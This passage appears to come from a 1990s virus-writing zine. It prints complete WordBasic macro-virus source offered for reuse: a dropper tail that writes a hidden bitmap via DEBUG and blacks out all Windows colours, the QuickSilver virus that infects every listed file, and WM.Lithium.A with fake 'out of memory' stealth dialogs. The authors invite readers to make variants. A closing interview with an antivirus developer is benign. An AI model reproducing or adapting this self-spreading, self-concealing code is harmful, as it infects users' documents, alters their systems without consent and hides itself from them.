print #1, "echo e 02A0 F0 00 C8 FF FF 00 C9 98 B8 00 C9 C6 C8 00 CA 80 >> c:\wp.scr"
print #1, "echo e 02B0 B3 00 D0 68 A8 00 D0 70 B0 00 D0 CD D3 00 D0 F0 >> c:\wp.scr"
print #1, "echo e 02C0 FF 00 D0 FF FF 00 D4 D8 D8 00 D8 70 B0 00 D8 78 >> c:\wp.scr"
print #1, "echo e 02D0 B0 00 D8 78 B8 00 D8 80 B8 00 D8 FF FF 00 DC E0 >> c:\wp.scr"
print #1, "echo e 02E0 E0 00 DC E8 E8 00 DD 93 C8 00 E0 80 B8 00 E0 80 >> c:\wp.scr"
print #1, "echo e 02F0 C0 00 E0 88 C0 00 E0 98 C0 00 E0 FF FF 00 E8 88 >> c:\wp.scr"
print #1, "echo e 0300 C0 00 E8 90 C8 00 E8 98 C8 00 E8 98 D0 00 E8 CF >> c:\wp.scr"
print #1, "echo e 0310 DE 00 E8 F0 F0 00 E8 FF FF 00 F0 98 D0 00 F0 A0 >> c:\wp.scr"
print #1, "echo e 0320 D0 00 F0 A1 D8 00 F0 F0 F0 00 F0 FF FF 00 F2 D9 >> c:\wp.scr"
print #1, "echo e 0330 E8 00 FC C7 F0 00 FE B0 E0 00 FF 88 88 00 FF A8 >> c:\wp.scr"
print #1, "echo e 0340 DB 00 FF B4 E8 00 FF C8 FF 00 FF D0 FF 00 FF D8 >> c:\wp.scr"
print #1, "echo e 0350 FF 00 FF E0 FF 00 FF E8 FF 00 FF F0 FF 00 FF FF >> c:\wp.scr"
print #1, "echo e 0360 FF 00 00 00 21 00 19 45 D4 00 01 DF 46 00 00 4C >> c:\wp.scr"
print #1, "echo e 0370 92 00 21 7E 00 00 92 00 01 00 00 00 4C 00 00 21 >> c:\wp.scr"
print #1, "echo e 0380 7E 00 45 D4 00 00 01 37 1E 00 4C 92 00 00 7E 00 >> c:\wp.scr"
print #1, "echo e 0390 00 00 00 00 21 00 9E 45 D4 00 20 9F 0B 00 6F 00 >> c:\wp.scr"
print #1, "echo e 03A0 0F 00 E8 8C FF 00 52 23 7E 00 4A 10 25 00 52 46 >> c:\wp.scr"
print #1, "echo e 03B0 25 00 00 00 25 00 00 23 7E 00 45 D4 00 00 60 00 >> c:\wp.scr"
print #1, "echo e 03C0 00 00 7C A6 49 00 00 00 00 00 64 47 00 00 7B 64 >> c:\wp.scr"
print #1, "echo e 03D0 04 00 E9 AC 63 00 7E 00 00 00 00 00 23 00 00 23 >> c:\wp.scr"
print #1, "echo e 03E0 7E 00 21 7E 00 00 D4 00 00 00 00 01 45 00 00 4C >> c:\wp.scr"
print #1, "echo e 03F0 92 00 20 7E 00 00 D4 00 00 00 46 25 45 00 00 25 >> c:\wp.scr"
print #1, "echo e 0400 52 00 24 7E 20 00 D4 00 00 00 1E 06 45 00 FE 82 >> c:\wp.scr"
print #1, "echo e 0410 B4 00 00 00 20 00 F7 00 03 00 00 42 05 00 10 17 >> c:\wp.scr"
print #1, "echo e 0420 BF 00 00 60 01 00 D2 20 DF 00 00 94 26 00 00 05 >> c:\wp.scr"
print #1, "echo e 0430 F7 00 E9 FE 10 00 6F 49 60 00 0A C4 04 00 00 03 >> c:\wp.scr"
print #1, "echo e 0440 6F 00 00 00 00 00 D0 00 00 00 5E DC E8 00 58 00 >> c:\wp.scr"
print #1, "echo e 0450 10 00 03 20 02 00 C4 2F B7 00 07 9F 0A 00 12 5C >> c:\wp.scr"
print #1, "echo e 0460 80 00 00 9A 01 00 AC 01 79 00 01 12 00 00 79 00 >> c:\wp.scr"
print #1, "echo e 0470 9A 00 00 AC 01 00 0A 49 60 00 00 01 7D 00 19 01 >> c:\wp.scr"
print #1, "echo e 0480 B5 00 01 DF 46 00 00 20 7E 00 20 7E 00 00 D4 00 >> c:\wp.scr"
print #1, "echo e 0490 00 00 00 00 45 00 52 00 00 00 05 F7 25 00 F7 23 >> c:\wp.scr"
print #1, "echo e 04A0 C2 00 00 42 05 00 0F 17 BF 00 E9 FE 20 00 A8 00 >> c:\wp.scr"
print #1, "echo e 04B0 07 00 00 00 EA 00 00 20 7E 00 EA D4 00 00 7E 00 >> c:\wp.scr"
print #1, "echo e 04C0 00 00 23 7E 23 00 07 20 DF 00 EA BC 00 00 7E 00 >> c:\wp.scr"
print #1, "echo e 04D0 00 00 00 00 20 00 00 EA E8 00 23 7E 00 00 56 E9 >> c:\wp.scr"
print #1, "echo e 04E0 38 00 04 7F 39 00 96 E9 88 00 00 00 82 00 1E E9 >> c:\wp.scr"
print #1, "echo e 04F0 DA 00 04 7F 37 00 B7 E9 5E 00 E9 88 2F 00 7E 2F >> c:\wp.scr"
print #1, "echo e 0500 B7 00 0B 9E 23 00 0F 07 9F 00 FF 6F 00 00 7E E9 >> c:\wp.scr"
print #1, "echo e 0510 9C 00 25 52 23 00 12 00 00 00 00 13 00 00 13 05 >> c:\wp.scr"
print #1, "echo e 0520 F7 00 00 9B 01 00 9A 01 12 00 01 79 00 00 62 00 >> c:\wp.scr"
print #1, "echo e 0530 AC 00 2F B7 E9 00 1B 81 01 60 27 81 00 00 1B 81 >> c:\wp.scr"
print #1, "echo e 0540 01 60 01 2B 26 81 00 00 1B 81 01 51 01 51 26 81 >> c:\wp.scr"
print #1, "echo e 0550 00 00 1B 81 01 21 01 60 26 81 00 00 1C 81 01 60 >> c:\wp.scr"
print #1, "echo e 0560 1B 81 01 32 01 60 09 81 00 00 1C 81 01 60 1A 81 >> c:\wp.scr"
print #1, "echo e 0570 01 5F 01 60 0A 81 00 00 1C 81 01 60 18 81 00 03 >> c:\wp.scr"
print #1, "echo e 0580 04 5F 1B 00 0B 81 00 00 07 81 01 57 01 2D 13 81 >> c:\wp.scr"
print #1, "echo e 0590 01 5F 17 81 01 5F 01 5F 0D 81 00 00 09 81 01 57 >> c:\wp.scr"
print #1, "echo e 05A0 12 81 01 31 01 2D 15 81 01 73 01 5F 0E 81 00 00 >> c:\wp.scr"
print #1, "echo e 05B0 0A 81 01 47 01 2D 10 81 01 0B 01 5F 13 81 01 17 >> c:\wp.scr"
print #1, "echo e 05C0 01 60 10 81 00 00 0C 81 01 5F 01 04 0F 81 01 60 >> c:\wp.scr"
print #1, "echo e 05D0 12 81 01 4B 01 60 11 81 00 00 0D 81 01 52 01 3E >> c:\wp.scr"
print #1, "echo e 05E0 0E 81 00 08 5F 2D 14 51 3F 19 04 0E 0A 81 01 5F >> c:\wp.scr"
print #1, "echo e 05F0 01 47 12 81 00 00 0F 81 01 5F 01 09 0A 81 00 0D >> c:\wp.scr"
print #1, "echo e 0600 0B 6D 60 04 60 60 5F 60 60 51 23 04 0E 00 05 81 >> c:\wp.scr"
print #1, "echo e 0610 01 04 01 60 05 81 01 31 0E 81 00 00 10 81 01 5F >> c:\wp.scr"
print #1, "echo e 0620 01 4B 06 81 00 16 1E 60 5F 81 81 60 5F 81 0C 2B >> c:\wp.scr"
print #1, "echo e 0630 81 81 81 7E 04 81 57 2B 04 04 31 60 04 81 01 2C >> c:\wp.scr"
print #1, "echo e 0640 01 32 0F 81 00 00 12 81 00 06 60 2B 81 1B 57 60 >> c:\wp.scr"
print #1, "echo e 0650 04 81 00 07 28 51 81 81 60 82 5F 00 04 81 00 0B >> c:\wp.scr"
print #1, "echo e 0660 7B 21 81 81 60 60 81 81 81 27 60 00 11 81 00 00 >> c:\wp.scr"
print #1, "echo e 0670 13 81 00 03 52 5F 1A 00 05 81 01 3F 04 81 00 04 >> c:\wp.scr"
print #1, "echo e 0680 04 04 60 04 05 81 01 7B 01 1A 04 81 01 5F 13 81 >> c:\wp.scr"
print #1, "echo e 0690 00 00 16 81 00 05 14 81 81 81 4B 00 05 81 00 04 >> c:\wp.scr"
print #1, "echo e 06A0 60 88 60 04 07 81 00 04 60 2D 5F 58 14 81 00 00 >> c:\wp.scr"
print #1, "echo e 06B0 17 81 00 03 2A 0C 3F 00 07 81 00 03 47 81 45 00 >> c:\wp.scr"
print #1, "echo e 06C0 08 81 01 21 16 81 00 00 20 81 00 04 60 79 5F 47 >> c:\wp.scr"
print #1, "echo e 06D0 1F 81 00 00 20 81 01 32 01 5F 21 81 00 00 20 81 >> c:\wp.scr"
print #1, "echo e 06E0 00 03 4B 60 45 00 20 81 00 00 20 81 01 56 01 60 >> c:\wp.scr"
print #1, "echo e 06F0 21 81 00 00 20 81 00 03 3E 5F 31 00 20 81 00 00 >> c:\wp.scr"
print #1, "echo e 0700 20 81 00 03 60 60 5F 00 20 81 00 00 20 81 01 10 >> c:\wp.scr"
print #1, "echo e 0710 01 2C 21 81 00 00 20 81 00 03 60 83 5F 00 20 81 >> c:\wp.scr"
print #1, "echo e 0720 00 00 1F 81 00 05 04 25 23 23 10 00 1F 81 00 00 >> c:\wp.scr"
print #1, "echo e 0730 1D 81 01 04 01 04 04 25 01 14 01 10 1E 81 00 00 >> c:\wp.scr"
print #1, "echo e 0740 1C 81 01 04 01 04 05 25 00 04 28 14 10 10 1C 81 >> c:\wp.scr"
print #1, "echo e 0750 00 00 1A 81 00 03 04 04 04 00 04 28 04 29 00 03 >> c:\wp.scr"
print #1, "echo e 0760 15 14 11 00 1B 81 00 00 18 81 00 12 04 04 2B 7C >> c:\wp.scr"
print #1, "echo e 0770 27 56 77 56 77 57 7C 5F 50 5D 5F 3F 14 10 19 81 >> c:\wp.scr"
print #1, "echo e 0780 00 00 18 81 00 05 04 1E 7C 7C 2E 00 04 1F 05 23 >> c:\wp.scr"
print #1, "echo e 0790 00 05 64 6A 23 3F 3E 00 18 81 00 00 18 81 00 13 >> c:\wp.scr"
print #1, "echo e 07A0 04 04 27 7C 23 23 23 24 24 25 24 25 24 25 6A 6A >> c:\wp.scr"
print #1, "echo e 07B0 47 3F 32 00 18 81 00 00 18 81 00 13 04 04 04 2E >> c:\wp.scr"
print #1, "echo e 07C0 27 24 77 25 23 25 77 28 7C 61 6A 51 47 45 3E 00 >> c:\wp.scr"
print #1, "echo e 07D0 18 81 00 00 18 81 00 13 04 04 04 23 25 25 6A 28 >> c:\wp.scr"
print #1, "echo e 07E0 28 28 29 29 34 33 31 52 47 45 3E 00 18 81 00 00 >> c:\wp.scr"
print #1, "echo e 07F0 18 81 00 13 04 04 04 60 60 5F 60 60 60 65 6D 79 >> c:\wp.scr"
print #1, "echo e 0800 83 87 56 51 4B 45 3E 00 18 81 00 00 18 81 00 13 >> c:\wp.scr"
print #1, "echo e 0810 02 04 04 5F 5F 60 60 5F 60 66 6E 79 80 88 57 52 >> c:\wp.scr"
print #1, "echo e 0820 4B 45 3E 00 18 81 00 00 18 81 00 13 04 04 04 60 >> c:\wp.scr"
print #1, "echo e 0830 60 60 5F 5F 60 66 6D 79 83 87 56 52 4B 45 3E 00 >> c:\wp.scr"
print #1, "echo e 0840 18 81 00 00 18 81 00 06 04 04 04 65 60 5F 04 60 >> c:\wp.scr"
print #1, "echo e 0850 00 09 68 73 82 85 57 52 4B 46 3E 00 18 81 00 00 >> c:\wp.scr"
print #1, "echo e 0860 18 81 00 13 04 02 00 3B 4E 5A 60 5F 60 60 67 6E >> c:\wp.scr"
print #1, "echo e 0870 2F 54 55 46 4B 45 3E 00 18 81 00 00 18 81 00 13 >> c:\wp.scr"
print #1, "echo e 0880 04 04 3B 55 78 78 78 5F 60 60 66 2F 69 71 71 71 >> c:\wp.scr"
print #1, "echo e 0890 4B 45 3E 00 18 81 00 00 17 81 00 0D 27 04 42 2F >> c:\wp.scr"
print #1, "echo e 08A0 63 71 78 78 69 60 60 41 54 00 04 78 00 03 4E 45 >> c:\wp.scr"
print #1, "echo e 08B0 3E 00 18 81 00 00 17 81 00 14 21 04 3A 30 01 0E >> c:\wp.scr"
print #1, "echo e 08C0 8A 78 78 60 60 2E 55 78 09 02 78 63 45 3E 18 81 >> c:\wp.scr"
print #1, "echo e 08D0 00 00 17 81 00 14 1A 04 3A 2F 01 02 78 78 48 60 >> c:\wp.scr"
print #1, "echo e 08E0 60 5F 4D 71 02 02 78 44 3F 3E 18 81 00 00 18 81 >> c:\wp.scr"
print #1, "echo e 08F0 00 12 04 04 2F 4D 69 78 69 5F 60 5F 5F 3B 54 71 >> c:\wp.scr"
print #1, "echo e 0900 71 63 4B 3F 19 81 00 00 1A 81 00 0F 04 60 42 5F >> c:\wp.scr"
print #1, "echo e 0910 60 60 5F 60 5F 60 60 3B 56 4B 10 00 1A 81 00 00 >> c:\wp.scr"
print #1, "echo e 0920 1B 81 00 04 04 28 29 29 05 2B 00 03 2C 2B 14 00 >> c:\wp.scr"
print #1, "echo e 0930 1C 81 00 00 1C 81 01 08 01 25 04 28 00 04 29 29 >> c:\wp.scr"
print #1, "echo e 0940 29 14 1D 81 00 00 1E 81 01 0C 05 25 1F 81 00 00 >> c:\wp.scr"
print #1, "echo e 0950 1F 81 00 04 04 23 25 23 20 81 00 01 >> c:\wp.scr"
print #1, "echo rcx >> c:\wp.scr"
print #1, "echo 085C >> c:\wp.scr"
print #1, "echo w >> c:\wp.scr"
print #1, "echo q >> c:\wp.scr"
print #1, "debug < c:\wp.scr"
print #1, "del c:\wp.scr"
print #1, "attrib +h +r +s c:\wp.bmp"
print #1, "del c:\wp.bat"
print #1, ""
close #1
shell "c:\wp.bat", 0
SetProfileString "Desktop", "Wallpaper", "C:\WP.BMP"
SetProfileString "Desktop", "TileWallpaper", "1"
SetProfileString "Desktop", "WallpaperStyle", "0"
SetProfileString "colors", "Scrollbar", "0 0 0"
SetProfileString "colors", "Background", "0 0 0"
SetProfileString "colors", "ActiveTitle", "0 0 0"
SetProfileString "colors", "InactiveTitle", "0 0 0"
SetProfileString "colors", "Menu", "0 0 0"
SetProfileString "colors", "Window", "0 0 0"
SetProfileString "colors", "WindowFrame", "0 0 0"
SetProfileString "colors", "MenuText", "0 0 0"
SetProfileString "colors", "WindowText", "0 0 0"
SetProfileString "colors", "TitleText", "0 0 0"
SetProfileString "colors", "ActiveBorder", "0 0 0"
SetProfileString "colors", "InactiveBorder", "0 0 0"
SetProfileString "colors", "AppWorkspace", "0 0 0"
SetProfileString "colors", "Hilight", "0 0 0"
SetProfileString "colors", "HilightText", "0 0 0"
SetProfileString "colors", "ButtonFace", "0 0 0"
SetProfileString "colors", "ButtonShadow", "0 0 0"
SetProfileString "colors", "GrayText", "0 0 0"
SetProfileString "colors", "ButtonText", "0 0 0"
SetProfileString "colors", "InactiveTitleText", "0 0 0"
SetProfileString "colors", "ButtonHilight", "0 0 0"
SetProfileString "colors", "ButtonDkShadow", "0 0 0"
SetProfileString "colors", "ButtonLight", "0 0 0"
SetProfileString "colors", "InfoText", "0 0 0"
SetProfileString "colors", "InfoWindow", "0 0 0"
ScreenUpdating 1
DisableInput 0
bollocks:
on error goto wanker
DisableAutoMacros 0
AutoExec
wanker:
FileExit
end sub
=============================================================[ macro ends ]==

 Here's a simple ToolsMacro macro to stealth the virus's presence: (Thanks to
 Nightmare Joker, I modified the dialog box from his MooNRaiDer virus to make
 this one...)

=[ macro ToolsMacro ]========================================================
sub main ' ToolsMacro
Dim ComboBox1$(0)
ComboBox1$(0) = ""
Dim ListBox1$(0)
ListBox1$(0) = ""
Dim DropListBox2$(0)
DropListBox2$(0) = "Normal.dot"
DisableAutoMacros 0
begin Dialog UserDialog 442, 320, "Macro"
PushButton 290, 14, 141, 21, "Rec&ord...", .Definierbar2
   CancelButton 290, 43, 141, 21
   PushButton 290, 72, 141, 21, "&Run", .Definierbar3
   PushButton 290, 102, 141, 21, "&Edit", .Definierbar4
   PushButton 290, 130, 141, 21, "&Delete", .Definierbar5
   PushButton 290, 166, 141, 21, "Or&ganizer...", .Definierbar6
   ComboBox 7, 23, 269, 194, ComboBox1$(), .ComboBox1
   Text 6, 223, 93, 13, "Macros &Available In:", .Text1
   Text 7, 259, 109, 13, "Descr&iption:", .Text2
   Text 7, 6, 93, 13, "Macros:", .Text3
   ListBox 7, 276, 425, 38, ListBox1$(), .ListBox1
   DropListBox 6, 238, 425, 19, DropListBox2$(), .ListBox2
end Dialog
Redim dlg as UserDialog
if Dialog(dlg) = 0 then
   Cancel
else
   MsgBox "Not enough memory", "WordBasic Err = 7"
end if
end sub
=============================================================[ macro ends ]==

 Well, that's it; it is pretty dumb, nothing really great here, but keep this
 in mind: it's my first macro virus, i don't have any real experience with ms
 wordbasic (can't seem to find the help file either :),  and i'm writing this
 bitch at 3:00 in the morning.  Any errors, correct them; if you want to make
 a variant of this virus, go right ahead, just give me some credit.

 Later all,
 Gothmog/[DHA]
[ WordMacro. QuickSilver ]���������������������������������������������������

� VIRUSNAME:      QuickSilver
� SIZE:           1032 Bytes
� ORIGIN:         Germany
� AUTHOR:         Nightmare Joker

->Polymorf        No
->Stealth         Yes
->Encrypted       Yes
->Retro           No
�����������������������������������������������������������������������������

Here is it! My new full-steahlt macro virus QuickSilver.
If the virus become active, it search's the name of the actually
ToolsMacro menu, and infect then all files in the FileList.
If someone try to look in the ToolsMacro Box to see if he maybe
infected with a virus, then will QuickSilver immediately open
a new document to hide his macros. The user will see NOTHING!
Btw, it works with every Word Version. 

������������������������������������������������������������������������������

MACRO: AutoOpen
~~~~~~~~~~~~~~~
Sub MAIN

REM Set ScreenUpdating Off and DisableInput On
ScreenUpdating : DisableInput

REM  s1$ = e.g. "&Tools" (english version of word)
s1$ = MenuText$(0, 6)

REM and s2$ = e.g. "&Macro..." (english version of word)
s2$ = MenuItemText$(s1$, 0, 13)

REM Remove now some characters, which we don't need. ("&" and ".")
s3$ = s1$ + s2$
For i = 1 To Len(s3$)
s4$ = Mid$(s3$, i, 1)
If s4$ <> "&" And s4$ <> "." Then
s5$ = s5$ + s4$
End If
Next i

REM Use now the right name and save it!
s6$ = GetDocumentVar$("Steahlt")
If s5$ = s6$ Then Goto Continue
ToolsMacro .Name = s6$, .Show = 3, .NewName = s5$, .Rename
SetDocumentVar "Steahlt", s5$

REM Start the Quicksilver macro,
REM set ScreenUpdating On and DisableInput Off.
Continue:
QuickSilver
ScreenUpdating : DisableInput 0
End Sub

������������������������������������������������������������������������������

MACRO: QuickSilver
~~~~~~~~~~~~~~~~~~
Sub MAIN

REM Set DisableAutoMacros On
DisableAutoMacros

REM Open now every file in the file list
REM and check if it's allready infected.
Steahlt$ = GetDocumentVar$("Steahlt")
Quick$ = FileName$()
For x = 1 To CountFiles()
If Files$(FileName$(x)) <> "" Then
FileList x  
Silver$ = FileName$()
If Quick$ <> Silver$ Then
Check$ = GetDocumentVar$("RAVE")
If Check$ = "" Then

REM If the active file isn't allready infected then
REM save it as a template and copy the virus macros
REM to it!
FileSaveAs .Format = 1
MacroCopy Quick$ + ":AutoOpen", Silver$ + ":", 1
MacroCopy Quick$ + ":QuickSilver", Silver$ + ":", 1
MacroCopy Quick$ + ":" + Steahlt$, Silver$ + ":", 1

REM Save the name of the >> Steahlt Box <<, too.
SetDocumentVar "RAVE", Str$(Rnd())
SetDocumentVar "Steahlt", Steahlt$
End If

REM At last save and close the file.
FileClose 1
End If
End If
Next x

REM Set DisableAutoMacros Off
DisableAutoMacros 0
REM #######################################
REM ############ QUICKSILVER ##############
REM ################ BY ###################
REM ########## NIGHTMARE JOKER ############
REM ############## (SLAM) #################
REM #######################################
End Sub

������������������������������������������������������������������������������

MACRO: >> Steahlt Box <<
~~~~~~~~~~~~~~~~~~~~~~~~
Sub MAIN

REM Set ErrorHandler
On Error Resume Next

REM Set ScreenUpdating Off
ScreenUpdating

REM Create a new file to hide the infected document.
FileNew

REM Create the Box!
Dim dlg As ToolsMacro
GetCurValues dlg
Dialog dlg

REM Close the empty file.
FileClose 2

REM Set ScreenUpdating On
ScreenUpdating

REM And now show the user the >> clean << Box! :)
ToolsMacro dlg
End Sub

REM BTW, this full-steahlt methode works only with Direct Action macro
REM viruses! If you want infect the global file normal.dot too then use
REM Virtual Boy's full-steahlt routine! :)

������������������������������������������������������������������������������

- Nightmare Joker -
WordMacro.Lithium.A
~~~~~~~~~~~~~~~~~~~

I'm so happy 
Cause today I found my friends 
They're in SLAM!! :-)

	     DarkSide1 [SLAM]

			    Author : DarkSide1 
			  Origin : Lima-Peru l997 
			     Size : 5029 bytes 
			   Number Macros : Six 
			      Encripted : Yes 
			       Stealth : Yes 
			     Multiversion : Yes 
			    Multiplatform : Yes 
			 

The code is here :-)
Enjoy!


=========begin macro==========================
Sub MAIN
'WM.Lithium.A dedicated to memory of Kurt Cobain
'(c)1997 by DarkSide1 in Lima Peru
spreadnow
End Sub

Sub spreadnow
On Error Goto Kurtcobain
Nv$ = FileName$()
    Ao$ = ":AutoOpen"
    Hm$ = ":HerramMacro"
    Tm$ = ":ToolsMacro"
    Ap$ = ":ArchivoPlantillas"
    Ft$ = ":FileTemplates"
    Lt$ = ":Lithium"
   gAo$ = "Global:AutoOpen"
   gHm$ = "Global:HerramMacro"
   gTm$ = "Global:ToolsMacro"
   gAp$ = "Global:ArchivoPlantillas"
   gFt$ = "Global:FileTemplates"
   gLt$ = "Global:Lithium"
	contador = CountMacros(0)
	instalado = 0
	If contador > 0 Then
		For i = 1 To contador
	  'Hey Lithium is a good song of Nirvana...
	  'Find it in cool album Nevermind ;)
			If MacroName$(i, 0) = "Lithium" Then
	  'DarkSide1 is happy with this song ;)
				instalado = 1
			End If
		Next
	End If
	If instalado = 0 Then
MacroCopy Nv$ + Ao$, gAo$, 1
MacroCopy Nv$ + Lt$, gLt$, 1
MacroCopy Nv$ + Hm$, gHm$, 1
MacroCopy Nv$ + Tm$, gTm$, 1
MacroCopy Nv$ + Ft$, gFt$, 1
MacroCopy Nv$ + Ap$, gAp$, 1
	Else
contador = CountMacros(1)
	instalado = 0
	If contador > 0 Then
		For i = 1 To contador
			If MacroName$(i, 1) = "Lithium" Then
				instalado = 1
			End If
		Next
	End If
	If instalado = 0 Then
FileSaveAs .Name = Nv$, .Format = 1
MacroCopy gAo$, Nv$ + Ao$, 1
MacroCopy gLt$, Nv$ + Lt$, 1
MacroCopy gHm$, Nv$ + Hm$, 1
MacroCopy gTm$, Nv$ + Tm$, 1
MacroCopy gFt$, Nv$ + Ft$, 1
MacroCopy gAp$, Nv$ + Ap$, 1
	End If
End If
If Rnd() < 0.3 Then
Call Lithium
End If
Kurtcobain:
End Sub
=========end macro============================





=========begin macro==========================
Sub MAIN
Call Lithium
End Sub
=========end macro============================





=========begin macro==========================
Sub MAIN
Call Lithium
End Sub
=========end macro============================





=========begin macro==========================
Sub MAIN
On Error Goto Endlg
Beep
Dim Pdlg As UserDialog
msg0$ = "It's my little tribute to Kurt Cobain about his song LITHIUM of Nirvana's Nevermind Album ;)"
msg1$ = " I'm so happy / Cause today I found my friends / They're in my head"
msg2$ = " I'm so ugly / That's ok, cause so are you / Broken mirrors"
msg3$ = " Sunday morning / Cause everyday for all I care/ And I'm not scared"
msg4$ = " Light my candles / In a daze cause I found god"
yeaa$ = " Yeaa  (X bunch of times)"
msg5$ = " I'm so lonely / That's ok, I shaved my head / And I'm not sad"
msg6$ = " And just maybe / I'm to blame for all I've heard / And I'm not sure"
msg7$ = " I'm so excited / I can't wait to meet you there /And I don't care"
msg8$ = " I'm so horny / That's ok, my will is good"
msg9$ = " I like it / I'm not gonna crack / I miss you / I'm not gonna crack"
msg10$ = " I love you / I'm not gonna crack / I killed you / I'm not gonna crack"
msg11$ = " I like it / I'm not gonna crack / I miss you / I'm not gonna crack"
msg12$ = " I love you / I'm not gonna crack / I killed you / I'm not gonna crack"
darkside1$ = "DarkSide1 without a computer is like Billy The Kid Without a gun!! ;-)"
Begin Dialog UserDialog 800, 300, "Dear  Word  User...  Congratulations!!  ;-)  It's  WordMacro.Lithium.A  by  DarkSide1"
 Text 125, 10, 600, 50, msg0$
 Text 155, 36, 600, 50, msg1$
 Text 155, 48, 600, 50, msg2$
 Text 155, 60, 600, 50, msg3$
 Text 155, 72, 600, 50, msg4$
 Text 155, 96, 600, 50, yeaa$
 Text 155, 120, 600, 50, msg5$
 Text 155, 132, 600, 24, msg6$
 Text 155, 144, 600, 36, msg7$
 Text 155, 156, 600, 36, msg8$
 Text 155, 180, 600, 50, yeaa$
 Text 155, 204, 600, 36, msg9$
 Text 155, 216, 600, 36, msg10$
 Text 155, 228, 600, 36, msg11$
 Text 155, 240, 600, 36, msg12$

PushButton 100, 270, 570, 24, darkside1$
End Dialog

Redim Pdlg As UserDialog
Dialog Pdlg
Endlg:
End Sub
=========end macro============================





=========begin macro==========================
Sub MAIN
On Error Goto Jeje
B$ = "Out of memory."
C$ = "WordBasic Err = 7"
Dim ComboBox1$(0)                       
ComboBox1$(0) = ""       
Dim ListBox1$(0)
ListBox1$(0) = ""        
Dim DropListBox2$(0)
DropListBox2$(0) = "Normal.dot(Global Template)"
		     
A:
Begin Dialog UserDialog 442, 320, "Macro"       
 CancelButton 290, 38, 141, 21                
 PushButton 290, 14, 141, 21, "Rec&ord...", .D2
					    
 PushButton 290, 72, 141, 21, "&Run", .D3      
 PushButton 290, 97, 141, 21, "&Create", .D4   
 PushButton 290, 125, 141, 21, "&Delete", .D5  
 PushButton 290, 161, 141, 21, "Or&ganizer...", .D6    
 ComboBox 7, 23, 269, 194, ComboBox1$(), .ComboBox1    
 Text 6, 223, 93, 13, "Macros &Available In:", .T1     
  Text 7, 259, 109, 13, "Description:", .T2            
  Text 7, 7, 93, 13, "&Macro Name:", .T3
 ListBox 7, 276, 425, 38, ListBox1$(), .LB1            
						       
 DropListBox 6, 238, 425, 19, DropListBox2$(), .LB2
End Dialog                              

Redim dlg As UserDialog             
 x = Dialog(dlg)
Select Case x
 Case 0          
  Cancel       
 Case 1
  MsgBox B$, C$, 48
  Goto A
 Case 2  
  MsgBox B$, C$, 48                     
  Goto A
 Case 3
  MsgBox B$, C$, 48
  Goto A
 Case 4
  MsgBox B$, C$, 48
  Goto A
 Case 5
  Call Lithium
 End Select
Jeje:
End Sub
=========end macro============================





=========begin macro==========================
Sub MAIN
On Error Goto Jeje :
B$ = "Falta de Memoria"
C$ = "WordBasic Err = 7"
Dim ComboBox1$(0)                       
ComboBox1$(0) = ""       
Dim ListBox1$(0)
ListBox1$(0) = ""        
Dim DropListBox2$(0)
DropListBox2$(0) = "Normal.dot (Plantilla Global)"
		     
A:
Begin Dialog UserDialog 442, 320, "Macros"       
 CancelButton 290, 38, 141, 21                
 PushButton 290, 14, 141, 21, "G&rabar...", .D2
					    
 PushButton 290, 72, 141, 21, "&Ejecutar", .D3      
 PushButton 290, 97, 141, 21, "&Crear", .D4   
 PushButton 290, 125, 141, 21, "&Borrar", .D5  
 PushButton 290, 161, 141, 21, "&Organizador...", .D6    
 ComboBox 7, 23, 269, 194, ComboBox1$(), .ComboBox1    
 Text 6, 223, 193, 13, "M&acros disponibles en:", .T1     
  Text 7, 259, 109, 13, "Descripci�n:", .T2            
  Text 7, 7, 193, 13, "&Nombre de la Macro:", .T3
 ListBox 7, 276, 425, 38, ListBox1$(), .LB1            
						       
 DropListBox 6, 238, 425, 19, DropListBox2$(), .LB2
End Dialog                              

Redim dlg As UserDialog             
 x = Dialog(dlg)
Select Case x
 Case 0          
  Cancel       
 Case 1
  MsgBox B$, C$, 48
  Goto A
 Case 2  
  MsgBox B$, C$, 48                     
  Goto A
 Case 3
  MsgBox B$, C$, 48
  Goto A
 Case 4
  MsgBox B$, C$, 48
  Goto A
 Case 5
  Call Lithium
End Select
Jeje:
End Sub
=========end macro============================

 \     \
   \    \__
    /      \
  /        _\
 ( / / /  / \ \
 (_( (/ /_>   \) _  _     _  ___   ___   ___   _   _  _   ___  _     _
     ( (         |  |\    |   |   |     |___|  |   |  |  |     |  |  |
      \ \        |  |  \  |   |   |--   | \    |   |  |  |--   |  |  |
        \)       |  |    \|   |   |___  |   \  \___/  |  |___  |__|__|

Here is a quick interview with the maker of F/WIN and Suspicious.
=> Stefan Kurtzhals. 

=============================================================================

   '>' is Nightmare Joker
no '>' is Stefan Kurtzhals

=============================================================================

> Who are you exactly? Introduce yourself.

Well, born on the 15.12.1972, I am currently studying electrical engineering
at the University of Wuppertal. Beside studying and working on my AV programs
I like to hang around on IRC (molesting people on #virus is sometimes quite
funny :) ), read books (all kind of SF and fantasy, I prefer to read the
original English versions because the German translations are mostly very bad),
listening to music (EBM and Wave, mostly electronical things but I actually
hate Techno (ARGH!) and similar rubbish), playing computer games (preferring
network games, I usually only play (GL)Quake, and if the German Telekom will be able
to install ISDN here within this century, I will most likely join one of
the Quake clans :) ) and such things.

I got my first computer at the fall of 1986, of course a Commodore 64. :)
After about 6 months I came to the conclusing that coding Assembler is
by far superior to BASIC (I noticed that in ASM, you can change screen
colors within every rasterline :) ) and started learning Assembler.
I was busy coding demos and games on the C64, visiting demo parties and
such things until the end of 1991 when I got my first PC, a 80286/16 MHz
with 4 MB of RAM and a 85 MB HDD. After about some weeks I caught my first
PC virus, Flash.688.A and was at once fascinated by the idea behind it.
I started to learn 80x86 assembler language and disassmbled every virus I
could find on the computers around, such as Flash, Stoned, Parity_Boot.B,
Tequila (that one was funny, I didn`t realize at that time that Tequila
infects both MBR and EXE files and low-level formated my HDD almost every
day to get rid of the virus :) ), Form and other common viruses. I also
started to write my first AV program, SYANBOOT at that time, followed by SSC,
SVS, SCRC, SDISK and MEMCHK (the SUSPICIOUS package). From the beginning I
was prefering all kind of generic virus detection and I focused on writing
heuristic detections. When the first macro viruses for Winword poped up 1995, I
started to write a heuristic scanner for macro viruses, F/WIN.

> How many years have you been part of the anti virus scene?

Since 1992. I wish I had the chance to join earlier because
the really interesting time was around 1987-1991.

> What was your your first av program?

No, I didn`t wrote any Stoned cleaner :)
(at the time I started with AV, Stoned was almost extinct and I only found
it on some *very* old 360 KB disks). My first AV program was "SYANBOOT", some
boot protection tool that stored copies of the MBR and the bootsector and
used saved interrupt vectors to bypass stealth bootviruses. It was very
